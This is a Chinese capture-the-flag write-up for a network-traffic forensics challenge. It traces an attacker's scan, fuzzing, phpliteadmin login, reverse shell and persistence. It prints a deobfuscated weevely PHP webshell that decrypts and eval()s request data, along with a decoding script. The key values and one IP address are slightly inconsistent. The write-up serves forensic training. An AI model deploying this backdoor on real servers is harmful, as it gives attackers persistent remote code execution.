2024 数证杯流量分析WP
P4tt0n 发表于 江西 CTF 1038浏览 · 2024-11-19 03:29

数证杯流量WP

1、分析网络流量包检材,写出抓取该流量包时所花费的秒数?(填写数字,答案格式:10)

答案:3504

2 、分析网络流量包检材,抓取该流量包时使用计算机操作系统的build版本是多少?(答案格式:10D32)

答案:23F79

3、分析网络流量包检材,受害者的PP地址是?(答案格式:192.168.1.1)

答案:192.168.75.131

过滤http, 统计会话,得到两个ip

132向131发送post请求

4、分析网络流量包检材,受害者所使用的操作系统是?(小写字母,案格式:biwu)

答案:ubuntu

5、分析网络流量包检材,攻击者使用的端口扫描工具是?(小写字母,答案格式:abc)

答案:nmap

结合发送大量SYN包, window值为1024, TCP option为02 04 05 b4确定端口扫描工具为nmap

6、分析网络流量包检材,攻击者使用的漏洞检测工具的版本号是?(答案格式:1.1.1)

答案:3.1.0

发现大量繁杂请求, user-agent为wfuzz模糊测试工具,同时附带版本号3.1.0

7、分析网络流量包检材,攻击者通过目录扫描得到的 phpliteadmin 登录点是?(答案格式:/abc/abc.php)

答案:/dbadmin/test_db.php

搜索admin发现dbadmin/test_db.php

追踪流发现页面为phpliteadmin

8、分析网络流量包检材,攻击者成功登录到 phpliteadmin 时使用的密码是?(答案格式:按实际值填写)

答案:admin

导出所有test_db.php对象, 追踪有操作开始的上一条发现登录成功

登录成功页面(转成html打开)

使用的密码

9 、分析网络流量包检材,攻击者创建的 phpinfo 页面文件名是?(答案格式:abc.txt)

答案:demo.php

新建一个demo.php

写入phpinfo

文件包含查看phpinfo

10、分析网络流量包检材,攻击者利用服务器漏洞从攻击机上下载的 payload 文件名是?(答案格式:abc.txt)

答案:rev.txt

131从132下载rev.txt

rev.txt内容

确定是payload

11、分析网络流量包检材,攻击者反弹shell的地址及端口是?(答案格式:192.168.1.1:1234)

答案:192.68.75.132:30127

分析payload, 发现定义ip192.168.75.132端口30127

根据代码

确定反弹shell的ip和端口

12、分析网络流量包检材,攻击者电脑所使用的Python版本号是?(答案格式:1.1.1)

答案:3.11.8

同样的流中发现python版本

13、分析网络流量包检材,受害者服务器中网站所使用的框架结构是?(答案格式:thinkphp)

答案:wordpress

根据上面得到的端口, 追踪30127端口的tcp流

发现反弹shell的流量

发现wordpress

14、分析网络流量包检材,攻击者获取到的数据库密码是?(答案格式:大小写按实际值填写)

答案:sWfCsfJSPV9H3AmQzw8

发现数据库密码

15、分析网络流量包检材,攻击者上传了一个weevely木马进行权限维持,上传时所使用的端口号为?(答案格式:3306)

答案:2000

从攻击机的2000端口下载了help.php

16、分析网络流量包检材,攻击者上传了一个weevely木马进行权限维持,该木马第一次执行时获取到的缓冲区内容是?(答案格式:按实际值填写)

答案:echo(57638);

help.php内容

反混淆之后

<?php
// 定义加密和解密的密钥
$k = "c6ae1e170";
$kh = "cbbf91691e009";
$kf = "85a89e92c410";
$p = "dzINRg";

// 定义加密和解密函数 x
function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";

    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            $o .= $t[$i] ^ $k[$j];
        }
    }
    return $o;
}

// 检查输入数据,并尝试进行解密
if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) {
    @ob_start();

    // 解密、解压输入数据,并执行
    @eval(@gzuncompress(@x(@base64_decode($m[1]), $k)));

    // 获取输出内容,进行压缩并加密后输出
    $o = @ob_get_contents();
    @ob_end_clean();
    $r = @base64_encode(@x(@gzcompress($o), $k));
    print("$p$kh$r$kf");
}
?>

从http输入获取cbbf91691e009和85a89e92c410之间的内容

找到第一次访问help.php并传输数据的包

所以实际接收的数据为G6oqKP+t4ABWAVLT4dExMHs6Ylw

编写脚本base64解码并解压

<?php
$k = "c6ae1e70";
$kh = "cbbf9691e009";
$kf = "85a89e92c410";
$encrypted_str = "cbbf9691e009G6oqKP+t4ABWAVLT4dExMHs6Ylw85a89e92c410f_OUraaYXp_&IVH4";

// 提取密文部分
preg_match("/$kh(.+)$kf/", $encrypted_str, $m);
$encoded_text = $m[1];

// Base64 解码
$decoded_text = base64_decode($encoded_text);

// 异或解密函数
function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";

    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            $o .= $t[$i] ^ $k[$j];
        }
    }

    return $o;
}

// 解密并解压
$decrypted_text = gzuncompress(x($decoded_text, $k));

echo $decrypted_text;
?>

212

结果为echo(57638);

0 条评论
某人
表情
可输入 255
目录